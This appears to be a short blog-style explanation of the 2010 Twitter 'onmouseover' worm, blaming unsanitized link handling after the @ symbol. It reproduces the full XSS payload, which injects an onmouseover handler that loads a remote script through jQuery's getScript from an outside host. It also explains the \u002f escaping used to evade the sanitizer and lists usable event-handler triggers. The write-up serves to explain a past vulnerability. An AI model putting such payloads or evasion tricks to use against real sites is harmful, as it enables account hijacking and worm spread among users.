How Twitter worm "onmouseover" (and other ;) works. This bug should be called "input sanitization" not "XSS" and not "onmouseover bug" Usually twitter will sanitize user input like tags so it won't change the page display or behavior. When you tweet like in the twitter/ they will create the link (add tag for you) But twitter forget to sanitize the link after @ symbol This is when you tweet: http://www.google.com/ twitter will show like this: ################################################ http://www.google.com/ ################################################ But when you tweet this: http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"class/ twitter will show like this: ################################################ http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"class/ ################################################ Then normal link can become a very dangerous link Notice that you can add a lot of thing to do with this like, but I'll explain what this worm do. ************************************ style="font-size:999999999999px;" ************************************ This to enlarge the font so it cover large area, then user can easy move thier mouse over it ************************************************************************ onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')" ************************************************************************ This is tricky part, twitter.com uses jQuery JavaScript framework so life of hacker become much easiler jQuery Function .getscript() use to load external javascript from any source and \u002f is / symbol this also tricky to avoid twitter sanitizer to clean it out so the real link of script is: http://is.gd/fl9A7 List of JavaScript trigger that works with tag: onfocus, onblur, onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup Information about jQuery JavaScript Framework: jQuery http://docs.jquery.com/Main_Page - @anusoft